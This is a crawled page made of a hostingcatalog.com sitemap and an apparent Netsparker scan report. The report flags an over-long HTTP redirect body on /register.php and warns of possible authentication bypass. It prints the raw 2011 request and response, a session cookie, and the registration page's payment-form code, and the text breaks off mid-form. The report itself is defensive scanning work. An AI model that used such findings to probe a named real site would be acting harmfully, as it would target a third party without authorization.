<loc>http://www.hostingcatalog.com/reseller-hosting-packages-and-programs</loc></url><url> <loc>http://www.hostingcatalog.com/ecommerce-web-hosting</loc></url><url> <loc>http://www.hostingcatalog.com/low-cost-web-hosting</loc></url><url> <loc>http://www.hostingcatalog.com/adult-website-picture-hosting</loc></url><url> <loc>http://www.hostingcatalog.com/virtual-private-server-hosting</loc></url><url> <loc>http://www.hostingcatalog.com/linux-windows-dedicated-servers</loc></url><url> <loc>http://www.hostingcatalog.com/colocation-server-hosting-services</loc></url><url> <loc>http://www.hostingcatalog.com/managed-hosting-providers-and-solutions</loc></url><url> <loc>http://www.hostingcatalog.com/affordable-game-server-hosting</loc></url><url> <loc>http://www.hostingcatalog.com/international-overseas-web-hosting</loc></url><url> <loc>http://www.hostingcatalog.com/dialup-internet-service-providers</loc></url><url> <loc>http://www.hostingcatalog.com/category.php/34</loc></url><url> <loc>http://www.hostingcatalog.com/broadband-internet-providers</loc></url><url> <loc>http://www.hostingcatalog.com/corporate-business-broadband-internet</loc></url><url> <loc>http://www.hostingcatalog.com/internet-backbone-provdiers</loc></url><url> <loc>http://www.hostingcatalog.com/wireless-internet-solutions</loc></url><url> <loc>http://www.hostingcatalog.com/domain-name-registration</loc></url><url> <loc>http://www.hostingcatalog.com/internet-consulting-service</loc></url><url> <loc>http://www.hostingcatalog.com/merchant-account-services</loc></url><url> <loc>http://www.hostingcatalog.com/online-shopping-cart-solutions</loc></url><url> <loc>http://www.hostingcatalog.com/hosting-control-panel-software</loc></url><url> <loc>http://www.hostingcatalog.com/file-backup-systems-and-solutions</loc></url><url> <loc>http://www.hostingcatalog.com/managed-internet-services</loc></url><url> <loc>http://www.hostingcatalog.com/ssl-server-certificate-providers</loc></url><url> <loc>http://www.hostingcatalog.com/server-management-service</loc></url><url> <loc>http://www.hostingcatalog.com/online-graphic-design-services</loc></url><url> <loc>http://www.hostingcatalog.com/file.php/faq.txt</loc></url><url> <loc>http://www.hostingcatalog.com/file.php/contact.txt</loc></url><url> <loc>http://www.hostingcatalog.com/partner.php</loc></url><url> <loc>http://www.hostingcatalog.com/</loc></url><url> <loc>http://www.hostingcatalog.com/internet-backbone-providers</loc></url><url> <loc>http://www.hostingcatalog.com/file.php/partner2.txt</loc></url><url> <loc>http://www.hostingcatalog.com/unix-linux-shared-hosting/2</loc></url><url> <loc>http://www.hostingcatalog.com/unix-linux-shared-hosting/3</loc></url><url> <loc>http://www.hostingcatalog.com/unix-linux-shared-hosting/4</loc></url><url> <loc>http://www.hostingcatalog.com/unix-linux-shared-hosting/5</loc></url><url> <loc>http://www.hostingcatalog.com/unix-linux-shared-hosting/6</loc></url><url> <loc>http://www.hostingcatalog.com/unix-linux-shared-hosting/7</loc></url><url> <loc>http://www.hostingcatalog.com/unix-linux-shared-hosting/8</loc></url><url> <loc>http://www.hostingcatalog.com/unix-linux-shared-hosting/9</loc></url><url> <loc>http://www.hostingcatalog.com/unix-linux-shared-hosting/10</loc></url><url> <loc>http://www.hostingcatalog.com/unix-linux-shared-hosting/11</loc></url><url> <loc>http://www.hostingcatalog.com/asp-coldfusion-script-windows-hosting/2</loc></url><url> <loc>http://www.hostingcatalog.com/asp-coldfusion-script-windows-hosting/3</loc></url><url> <loc>http://www.hostingcatalog.com/asp-coldfusion-script-windows-hosting/4</loc></url><url> <loc>http://www.hostingcatalog.com/asp-coldfusion-script-windows-hosting/5</loc></url><url> <loc>http://www.hostingcatalog.com/asp-coldfusion-script-windows-hosting/6</loc></url><url> <loc>http://www.hostingcatalog.com/asp-coldfusion-script-windows-hosting/7</loc></url><url> <loc>http://www.hostingcatalog.com/asp-coldfusion-script-windows-hosting/8</loc></url><url> <loc>http://www.hostingcatalog.com/asp-coldfusion-script-windows-hosting/9</loc></url><url> <loc>http://www.hostingcatalog.com/asp-coldfusion-script-windows-hosting/10</loc></url><url> <loc>http://www.hostingcatalog.com/asp-coldfusion-script-windows-hosting/11</loc></url><url> <loc>http://www.hostingcatalog.com/reseller-hosting-packages-and-programs/2</loc></url><url> <loc>http://www.hostingcatalog.com/reseller-hosting-packages-and-programs/3</loc></url><url> <loc>http://www.hostingcatalog.com/reseller-hosting-packages-and-programs/4</loc></url><url> <loc>http://www.hostingcatalog.com/reseller-hosting-packages-and-programs/5</loc></url><url> <loc>http://www.hostingcatalog.com/reseller-hosting-packages-and-programs/6</loc></url><url> <loc>http://www.hostingcatalog.com/reseller-hosting-packages-and-programs/7</loc></url><url> <loc>http://www.hostingcatalog.com/reseller-hosting-packages-and-programs/8</loc></url><url> <loc>http://www.hostingcatalog.com/reseller-hosting-packages-and-programs/9</loc></url><url> <loc>http://www.hostingcatalog.com/reseller-hosting-packages-and-programs/10</loc></url><url> <loc>http://www.hostingcatalog.com/reseller-hosting-packages-and-programs/11</loc></url><url> <loc>http://www.hostingcatalog.com/ecommerce-web-hosting/2</loc></url><url> <loc>http://www.hostingcatalog.com/ecommerce-web-hosting/3</loc></url><url> <loc>http://www.hostingcatalog.com/ecommerce-web-hosting/4</loc></url><url> <loc>http://www.hostingcatalog.com/ecommerce-web-hosting/5</loc></url><url> <loc>http://www.hostingcatalog.com/ecommerce-web-hosting/6</loc></url><url> <loc>http://www.hostingcatalog.com/ecommerce-web-hosting/7</loc></url><url> <loc>http://www.hostingcatalog.com/ecommerce-web-hosting/8</loc></url><url> <loc>http://www.hostingcatalog.com/ecommerce-web-hosting/9</loc></url><url> <loc>http://www.hostingcatalog.com/ecommerce-web-hosting/10</loc></url><url> <loc>http://www.hostingcatalog.com/ecommerce-web-hosting/11</loc></url><url> <loc>http://www.hostingcatalog.com/low-cost-web-hosting/2</loc></url><url> <loc>http://www.hostingcatalog.com/low-cost-web-hosting/3</loc></url><url> <loc>http://www.hostingcatalog.com/low-cost-web-hosting/4</loc></url><url> <loc>http://www.hostingcatalog.com/low-cost-web-hosting/5</loc></url><url> <loc>http://www.hostingcatalog.com/low-cost-web-hosting/6</loc></url><url> <loc>http://www.hostingcatalog.com/low-cost-web-hosting/7</loc></url><url> <loc>http://www.hostingcatalog.com/low-cost-web-hosting/8</loc></url><url> <loc>http://www.hostingcatalog.com/low-cost-web-hosting/9</loc></url><url> <loc>http://www.hostingcatalog.com/low-cost-web-hosting/10</loc></url><url> <loc>http://www.hostingcatalog.com/low-cost-web-hosting/11</loc></url><url> <loc>http://www.hostingcatalog.com/adult-website-picture-hosting/2</loc></url><url> <loc>http://www.hostingcatalog.com/adult-website-picture-hosting/3</loc></url><url> <loc>http://www.hostingcatalog.com/adult-website-picture-hosting/4</loc></url><url> <loc>http://www.hostingcatalog.com/adult-website-picture-hosting/5</loc></url><url> <loc>http://www.hostingcatalog.com/adult-website-picture-hosting/6</loc></url><url> <loc>http://www.hostingcatalog.com/adult-website-picture-hosting/7</loc></url><url> <loc>http://www.hostingcatalog.com/adult-website-picture-hosting/8</loc></url><url> <loc>http://www.hostingcatalog.com/adult-website-picture-hosting/9</loc></url><url> <loc>http://www.hostingcatalog.com/adult-website-picture-hosting/10</loc></url><url> <loc>http://www.hostingcatalog.com/virtual-private-server-hosting/2</loc></url><url> <loc>http://www.hostingcatalog.com/virtual-private-server-hosting/3</loc></url><url> <loc>http://www.hostingcatalog.com/virtual-private-server-hosting/4</loc></url><url> <loc>http://www.hostingcatalog.com/virtual-private-server-hosting/5</loc></url><url> <loc>http://www.hostingcatalog.com/virtual-private-server-hosting/6</loc></url><url> <loc>http://www.hostingcatalog.com/virtual-private-server-hosting/7</loc></url><url> <loc>http://www.hostingcatalog.com/virtual-private-server-hosting/8</loc></url><url> <loc>http://www.hostingcatalog.com/virtual-private-server-hosting%20</loc></url><url> <loc>http://www.hostingcatalog.com/linux-windows-dedicated-servers/2</loc></url><url> <loc>http://www.hostingcatalog.com/linux-windows-dedicated-servers/3</loc></url><url> <loc>http://www.hostingcatalog.com/linux-windows-dedicated-servers/4</loc></url><url> <loc>http://www.hostingcatalog.com/linux-windows-dedicated-servers/5</loc></url><url> <loc>http://www.hostingcatalog.com/linux-windows-dedicated-servers/6</loc></url><url> <loc>http://www.hostingcatalog.com/linux-windows-dedicated-servers/7</loc></url><url> <loc>http://www.hostingcatalog.com/linux-windows-dedicated-servers/8</loc></url><url> <loc>http://www.hostingcatalog.com/linux-windows-dedicated-servers/9</loc></url><url> <loc>http://www.hostingcatalog.com/linux-windows-dedicated-servers/10</loc></url><url> <loc>http://www.hostingcatalog.com/linux-windows-dedicated-servers/11</loc></url><url> <loc>http://www.hostingcatalog.com/colocation-server-hosting-services/2</loc></url><url> <loc>http://www.hostingcatalog.com/colocation-server-hosting-services/3</loc></url><url> <loc>http://www.hostingcatalog.com/colocation-server-hosting-services/4</loc></url><url> <loc>http://www.hostingcatalog.com/colocation-server-hosting-services/5</loc></url><url> <loc>http://www.hostingcatalog.com/colocation-server-hosting-services/6</loc></url><url> <loc>http://www.hostingcatalog.com/colocation-server-hosting-services/7</loc></url><url> <loc>http://www.hostingcatalog.com/colocation-server-hosting-services/8</loc></url><url> <loc>http://www.hostingcatalog.com/colocation-server-hosting-services/9</loc></url><url> <loc>http://www.hostingcatalog.com/colocation-server-hosting-services/10</loc></url><url> <loc>http://www.hostingcatalog.com/unix-linux-shared-hosting%20</loc></url><url> <loc>http://www.hostingcatalog.com/managed-hosting-providers-and-solutions/2</loc></url><url> <loc>http://www.hostingcatalog.com/managed-hosting-providers-and-solutions/3</loc></url><url> <loc>http://www.hostingcatalog.com/managed-hosting-providers-and-solutions/4</loc></url><url> <loc>http://www.hostingcatalog.com/managed-hosting-providers-and-solutions/5</loc></url><url> <loc>http://www.hostingcatalog.com/managed-hosting-providers-and-solutions/6</loc></url><url> <loc>http://www.hostingcatalog.com/managed-hosting-providers-and-solutions/7</loc></url><url> <loc>http://www.hostingcatalog.com/managed-hosting-providers-and-solutions/8</loc></url><url> <loc>http://www.hostingcatalog.com/managed-hosting-providers-and-solutions/9</loc></url><url> <loc>http://www.hostingcatalog.com/dialup-internet-service-providers/2</loc></url><url> <loc>http://www.hostingcatalog.com/dialup-internet-service-providers/3</loc></url><url> <loc>http://www.hostingcatalog.com/dialup-internet-service-providers/4</loc></url><url> <loc>http://www.hostingcatalog.com/dialup-internet-service-providers/5</loc></url><url> <loc>http://www.hostingcatalog.com/dialup-internet-service-providers/6</loc></url><url> <loc>http://www.hostingcatalog.com/dialup-internet-service-providers/7</loc></url><url> <loc>http://www.hostingcatalog.com/dialup-internet-service-providers/8</loc></url><url> <loc>http://www.hostingcatalog.com/dialup-internet-service-providers/9</loc></url><url> <loc>http://www.hostingcatalog.com/dialup-internet-service-providers/10</loc></url><url> <loc>http://www.hostingcatalog.com/dialup-internet-service-providers/11</loc></url><url> <loc>http://www.hostingcatalog.com/broadband-internet-providers/2</loc></url><url> <loc>http://www.hostingcatalog.com/broadband-internet-providers/3</loc></url><url> <loc>http://www.hostingcatalog.com/broadband-internet-providers/4</loc></url><url> <loc>http://www.hostingcatalog.com/corporate-business-broadband-internet/2</loc></url><url> <loc>http://www.hostingcatalog.com/corporate-business-broadband-internet/3</loc></url><url> <loc>http://www.hostingcatalog.com/corporate-business-broadband-internet/4</loc></url><url> <loc>http://www.hostingcatalog.com/corporate-business-broadband-internet/5</loc></url><url> <loc>http://www.hostingcatalog.com/wireless-internet-solutions/2</loc></url><url> <loc>http://www.hostingcatalog.com/domain-name-registration/2</loc></url><url> <loc>http://www.hostingcatalog.com/domain-name-registration/3</loc></url><url> <loc>http://www.hostingcatalog.com/domain-name-registration/4</loc></url><url> <loc>http://www.hostingcatalog.com/domain-name-registration/5</loc></url><url> <loc>http://www.hostingcatalog.com/domain-name-registration/6</loc></url><url> <loc>http://www.hostingcatalog.com/domain-name-registration/7</loc></url><url> <loc>http://www.hostingcatalog.com/domain-name-registration/8</loc></url><url> <loc>http://www.hostingcatalog.com/domain-name-registration/9</loc></url><url> <loc>http://www.hostingcatalog.com/domain-name-registration/10</loc></url><url> <loc>http://www.hostingcatalog.com/domain-name-registration/11</loc></url><url> <loc>http://www.hostingcatalog.com/internet-consulting-service/2</loc></url><url> <loc>http://www.hostingcatalog.com/internet-consulting-service/3</loc></url><url> <loc>http://www.hostingcatalog.com/internet-consulting-service/4</loc></url><url> <loc>http://www.hostingcatalog.com/internet-consulting-service/5</loc></url><url> <loc>http://www.hostingcatalog.com/merchant-account-services/2</loc></url><url> <loc>http://www.hostingcatalog.com/merchant-account-services/3</loc></url><url> <loc>http://www.hostingcatalog.com/merchant-account-services/4</loc></url><url> <loc>http://www.hostingcatalog.com/ssl-server-certificate-providers%20</loc></url><url> <loc>http://www.hostingcatalog.com/online-shopping-cart-solutions/2</loc></url><url> <loc>http://www.hostingcatalog.com/online-shopping-cart-solutions/3</loc></url><url> <loc>http://www.hostingcatalog.com/online-shopping-cart-solutions/4</loc></url><url> <loc..
Redirect Response BODY Is Too Large

Redirect Response BODY Is Too Large

1 TOTAL
INFORMATION
CONFIRMED
1
Netsparker identified that the response from the page returned an HTTP Redirect Status but output more information than usual. This generally indicates that after redirect, page did not finish the response as it was supposed to.

Impact

This can lead serious issues such authentication bypass in authentication required pages, in other pages it generally indicates a programming error.

Remedy

Finish the HTTP Response after you redirect the user.

In ASP.NET use Response.Redirect("redirected-page.aspx", true); instead of Response.Redirect("redirected-page.aspx", false); In PHP applications call exit(); after you redirect the user.
- /register.php

/register.php CONFIRMED

http://www.hostingcatalog.com/register.php

Request

GET /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.hostingcatalog.com
Cookie: PHPSESSID=ptafq9e5a5qh52n7lhsaof9ea6; time_0=1303646197; user_counted_0=1
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 302 Found
Server: nginx/0.6.39
Date: Sun, 24 Apr 2011 11:56:42 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.1.6
Location: https://www.hostingcatalog.com/register.php
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: user_counted_0=1%3CAND%3E; expires=Mon, 25-Apr-2011 03:58:20 GMT; path=/


<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Hosting Catalog - List Your Site</title> <link rel="stylesheet" type="text/css" href="style.css"> <SCRIPT LANGUAGE="JavaScript"> <!-- function isNumber(src) { src.value=src.value.replace('$',''); if (src.value.charAt(0)=='0') { alert("Please enter correct numeric value."); src.focus(); return false; } src.value=src.value.replace(',',''); if (src.value.indexOf('.')!=-1) src.value=src.value.substr(0,src.value.indexOf('.')); if (src.value.length==0) src.value='0'; if (parseInt(src.value)<25) { alert("There's a minimum $25 deposit."); src.value='25'; } var i = 0; strField=src.value; for (i=0;i<strField.length; i++) { if ((strField.charAt(i)<'0')||(strField.charAt(i)>'9')) { alert ('Please enter a numeric value.'); src.focus(); return false; } } strField=''; var j=0; for (i=src.value.length-1;i>=0;i--) { strField=src.value.charAt(i)+strField; if ((j+1)%3==0&&i!=0) strField=','+strField; j++; } src.value=strField+'.00'; return true; } // checks date on MM/YY format function checkDate(src) { //checking if year <2002 then card is expired var exp_date=src.value; pattern="[0-9]{2}(/)[0-9]{2}"; res=exp_date.search(pattern); if (res==-1) {alert('Wrong date format!'); src.focus(); return false;} dp = exp_date.split('/'); if ((dp[0]=='00')||(parseInt(dp[0])>12)||(dp[1]=='00')||(dp[1]=='01')) {alert('Wrong date format!'); src.focus(); return false;} return true; } function describe(num) { var url="http://www.hostingcatalog.com/bid_description.php/"+num; windowVar = window.open(url,'desc_win','width=250,height=210,location=0,toolbar=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=1,channelmode=0,fullscreen=0'); windowVar.focus(); } function isMail(src) { src.value=src.value.toLowerCase(); addr=src.value; pattern="^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[_a-z0-9-]+(\.[_a-z0-9-]+)*(\.([a-z]{2,3}))+$"; res=addr.search(pattern); if (res==-1) { alert('Wrong mail format'); src.focus(); return false; } else return true; }// end isMail function isSame(src1,src2,str) { if (src1.value!=src2.value) { alert(str); src1.focus(); return false; } else return true; }// end isSame function isValidCardNumber(src) { var card_number=src.value; flag=true; pattern1="[0-9]{13,16}"; pattern2="[0-9]{4}(-)[0-9]{4}(-)[0-9]{4}(-)[0-9]{1,4}"; res=card_number.search(pattern1); if (res!=-1) { if (card_number.length>16) {flag=false;} } else { res=card_number.search(pattern2); if (res==-1) {flag=false;} if (card_number.length>19) {flag=false;} } if (!flag) { alert('Invalid credit card number'); src.focus(); return false; } else return true; }// end isValidCardNumber function phoneRequired(src) { var strField = new String(src.value); flag=true; if (strField=='') flag=false; /* for (i = 0; i < strField.length; i++) if (strField.charAt(i)!='-' && (strField.charAt(i) < '0' || strField.charAt(i) > '9')) { flag=false; } alert(strField.length); */ if (strField.length < 10) flag=false; if (!flag) { alert ('Please specify a correct phone number'); src.focus(); return false; } return true; }// phoneRequired function verify() { var f1=document.forms['billingForm']; if (!isMail(f1.elements['e_mail'])) return false; if (!isMail(f1.elements['retype_e_mail'])) return false; if (!isSame(f1.elements['password'],f1.elements['retype_password'],'Passwords must coincide!')) return false; if (!isSame(f1.elements['e_mail'],f1.elements['retype_e_mail'],'E-mail addresses must coincide!')) return false; if (f1.elements['company_name'].value=="") { alert('Not all fields are filled'); f1.elements['company_name'].focus(); return false; } if (f1.elements['first_name'].value=="") { alert('Not all fields are filled'); f1.elements['first_name'].focus(); return false; } if (f1.elements['last_name'].value=="") { alert('Not all fields are filled'); f1.elements['last_name'].focus(); return false; } if (f1.elements['address'].value=="") { alert('Not all fields are filled'); f1.elements['address'].focus(); return false; } if (f1.elements['city'].value=="") { alert('Not all fields are filled'); f1.elements['city'].focus(); return false; } if (f1.elements['state'].value=="") { alert('Not all fields are filled'); f1.elements['state'].focus(); return false; } if (f1.elements['zip'].value=="") { alert('Not all fields are filled'); f1.elements['zip'].focus(); return false; } if (f1.elements['password'].value=="") { alert('Not all fields are filled'); f1.elements['password'].focus(); return false; } if (!checkDate(f1.elements['expire_date'])) return false; if (!isValidCardNumber(f1.elements['card_number'])) return false; if (f1.elements['card_number'].value=="") { alert('Not all fields are filled'); f1.elements['card_number'].focus(); return false; } if (f1.elements['owner_first_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_first_name'].focus(); return false; } if (f1.elements['owner_last_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_last_name'].focus(); return false; } if (f1.elements['bill_address'].value=="") { alert('Not all fields are filled'); f1.elements['bill_address'].focus(); return false; } if (f1.elements['bill_city'].value=="") { alert('Not all fields are filled'); f1.elements['bill_city'].focus(); return false; } if (f1.elements['bill_country'].value=="") { alert('Not all fields are filled'); f1.elements['bill_country'].focus(); return false; } if (f1.elements['bill_zip'].value=="") { alert('Not all fields are filled'); f1.elements['bill_zip'].focus(); return false; } amount=f1.elements['deposit'].value; card=f1.elements['card_type'].options[f1.elements['card_type'].selectedIndex].text; if (confirm("You're about to charge $"+amount+" to your "+card+".")) return true; else return false; }// verify function checkType(src) { var val=src.options[src.selectedIndex].value; // if (val>1) {document.forms['billingForm'].elements['remember_info'].checked=true;} }// checkType function checkAgain(src) { var sel=document.forms['billingForm'].elements['account_type']; if (!src.checked) sel.selectedIndex=0; } function copyFromContact(src) { if (!src.checked) {return;} var f1=document.forms['billingForm']; f1.elements['bill_address'].value=f1.elements['address'].value; f1.elements['bill_address2'].value=f1.elements['address2'].value; f1.elements['bill_city'].value=f1.elements['city'].value; f1.elements['bill_zip'].value=f1.elements['zip'].value; f1.elements['bill_province'].value=f1.elements['province'].value; f1.elements['bill_state'].selectedIndex=f1.elements['state'].selectedIndex; f1.elements['bill_country'].selectedIndex=f1.elements['country'].selectedIndex; f1.elements['bill_phone'].value=f1.elements['phone'].value; } //--> </SCRIPT> </head> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td background="images/header/header_bg.gif"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td rowspan="3" valign="top"><a href="/index.php"><img src="images/header/logo.gif" width="194" height="130" border="0"></a></td> <td width="100%" height="60" align="right" valign="top"><a href="http://www.liquidweb.com/"><img src="images/header/lw-header.png" width="270" height="36" alt="Liquid Web Logo" title="Liquid Web Hosting" style="border: 0;margin-top: 5px;" /></a></td> <td rowspan="3" align="right" valign="top"><img src="images/header/header_right.gif" width="1" height="130"></td> </tr> <tr> <td height="38" align="right"> <table border="0" cellpadding="0" cellspacing="0">
<form name="top_banner_form" style="margin:0px;" target="_blank" action="http://www.hostingcatalog.com/go.php"> <tr>
<td valign="top"><img src="images/header/mostpopular.gif"></td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Unix/Linux</option>
<option value='5E3D5346E1A2E8D357F0D29E8BB4ECA21A3083E8994A616381B1A7B82C26F77190D5EA86683FFE5E9796C11D70DA828D'>Linux VPS Hosting</option><option value='5E3D5346E1A2E8D3914BF6A79081EC2D1773C1153399998B1FA5F4745217F1EA34BAFEC722C5B4EEE61807D354C2BE34'>Host 5 sites for $5.95</option><option value='5E3D5346E1A2E8D3804BDCBC5F3624771A3083E8994A616381B1A7B82C26F77190D5EA86683FFE5E9796C11D70DA828D'>HostingLocker</option><option value='5E3D5346E1A2E8D3AEB7320C534FCFD51A3083E8994A616381B1A7B82C26F77190D5EA86683FFE5E9796C11D70DA828D'>1&1</option><option value='5E3D5346E1A2E8D33C1D7FBCC567E12D1773C1153399998B1FA5F4745217F1EA34BAFEC722C5B4EEE61807D354C2BE34'>Hosting 4 Less</option> </select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Dedicated Servers</option>
<option value='5E3D5346E1A2E8D355CAB932145BAE971A3083E8994A616381B1A7B82C26F77190D5EA86683FFE5E9796C11D70DA828D'>iWeb Technology</option><option value='5E3D5346E1A2E8D30119BFFBDFB49D3F1A3083E8994A616381B1A7B82C26F77190D5EA86683FFE5E9796C11D70DA828D'>SingleHop</option><option value='5E3D5346E1A2E8D3224DA93AAA07BC2D1773C1153399998B1FA5F4745217F1EA34BAFEC722C5B4EEE61807D354C2BE34'>Serverconnect@SwedishHost</option><option value='5E3D5346E1A2E8D361275C9B9A6411981A3083E8994A616381B1A7B82C26F77190D5EA86683FFE5E9796C11D70DA828D'>OnApp - Build Your Cloud</option><option value='5E3D5346E1A2E8D38FDA53D274EDAAD21773C1153399998B1FA5F4745217F1EA34BAFEC722C5B4EEE61807D354C2BE34'>UnmeteredServers.com</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Budget and Free</option>
<option value='5E3D5346E1A2E8D3952BAD0C9A3E36BD1A3083E8994A616381B1A7B82C26F77190D5EA86683FFE5E9796C11D70DA828D'>GlowHost $4.95 Hosting</option><option value='5E3D5346E1A2E8D350B757B6C7B601661A3083E8994A616381B1A7B82C26F77190D5EA86683FFE5E9796C11D70DA828D'>Unlimited Hosting $2.99/m</option><option value='5E3D5346E1A2E8D3094F4E7C43B1C0B31A3083E8994A616381B1A7B82C26F77190D5EA86683FFE5E9796C11D70DA828D'>HostingLocker</option><option value='5E3D5346E1A2E8D3234ECF4B3ED1D9D11A3083E8994A616381B1A7B82C26F77190D5EA86683FFE5E9796C11D70DA828D'>Cast-Iron Hosting Review</option><option value='5E3D5346E1A2E8D32F4252E2CEACDD001A3083E8994A616381B1A7B82C26F77190D5EA86683FFE5E9796C11D70DA828D'>Web Hosting High</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Wholesale/Reseller</option>
<option value='5E3D5346E1A2E8D3202D32DB2F9A7DBF1A3083E8994A616381B1A7B82C26F77190D5EA86683FFE5E9796C11D70DA828D'>resell merchant accounts</option><option value='5E3D5346E1A2E8D3FDF171907F5C9BB71773C1153399998B1FA5F4745217F1EA34BAFEC722C5B4EEE61807D354C2BE34'>Cheap Reseller Hosting</option><option value='5E3D5346E1A2E8D39698D60259649B2E1773C1153399998B1FA5F4745217F1EA34BAFEC722C5B4EEE61807D354C2BE34'>PremiumReseller.com</option><option value='5E3D5346E1A2E8D3B3A8C3105348E0401773C1153399998B1FA5F4745217F1EA34BAFEC722C5B4EEE61807D354C2BE34'>30 Day FREE Reseller</option>
</select>
&nbsp;&nbsp;
<input type="hidden" name="param" value=""> </td>
</tr>
</form>
</table> </td> </tr> <tr> <td height="32" align="right" class="headerlink"> <table border="0" cellspacing="0" cellpadding="0">
<tr>
<td class="headerlink"><a href="index.php">Home</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink">List Your Company</td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/advertiseradnetwork.txt">Ad Network</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="advert_login.php">Advertiser Login</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/adnetworkpartnerprogram.txt">Become a Partner</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="partner">Partner Login</a></td>
<td>&nbsp;&nbsp;</td>
</tr>
</table> </td> </tr> </table> </td> </tr> <tr> <td valign="top"> <div class="regform_intro"> <style type"text/css">

p {
font-size: 14px;
font-family: arial, verdanna, sans-serif;
}

h2 {
font-size: 16px;
font-family: arial, verdanna, sans-serif;
font-style: bold;
}

td.body {
color : #000000;
font-family : Arial, Tahoma, sans-serif;
font-size : 14px;
}

</style>
<h2>Create A Hosting Catalog Account</h2>
<p>Wise choice! By listing your web hosting company at Hosting Catalog, you will receive well qualified, targeted traffic from hundreds of people in need of web hosting solutions.</p>
<p>There is a minimum deposit of $25 per account and a minimum bid of $.05 per listing. </p>
<p>For optimal results, include your listings in the <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt"><b>Hosting Catalog Ad Network</b></a>. We hand pick the sites in our network, so they are perfectly targeted towards those who are looking for web hosting services. Plus, you'll spend up to 300% less than you would using the big search ad network programs and get exposure to millions of potential hosting customers each month! Just make sure your bids meet the minimum amount for inclusion in the ad network. You can find this info <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt">here</a></p>
<p>Paying through PayPal? <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal%40inetinteractive%2ecom&item_name=Hosting%20Catalog%20Deposit&no_shipping=0&no_note=1&currency_code=USD&lc=US&bn=PP%2dBuyNowBF&charset=UTF%2d8" target="new"><b>Send us your deposit via PayPal</b></a>. (Our PayPal address is paypal@hostingcatalog.com. Please specify your Hosting Catalog account email if it is different from your PayPal email). </p>
<p>Don't worry; your information is safe with us. <b>We respect your privacy and will never sell of give any of your information to a 3rd party.</b></p>
<p>Complete the contact and payment information forms below to get your account started and the targeted traffic streaming in!</p>
</div> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="10"><img src="images/misc/spacer.gif" width="10" height="1"></td> <td width="100%" valign="top"> <form action="https://www.hostingcatalog.com/register.php" method="post" name="billingForm" onSubmit="return verify();"> <table> <tr> <td valign="top"> <table cellpadding="1" cellspacing="1" border="0" width="100%"> <tr align="left" valign="top" bgcolor="#E1E1E1"> <td class="body">&nbsp;<B>CONTACT INFORMATION</B></td> </tr> <tr align="left" valign="top"> <td class="body" width="400" nowrap> <table width="100%" border="0" cellspacing="3" cellpadding="0"> <tr> <td class="body" align="left" width="160" nowrap><span class="redstar">*</span>Company Name:</td> <td> <input class="textfield" type="text" name="company_name" size="20" maxlength="30" value=&..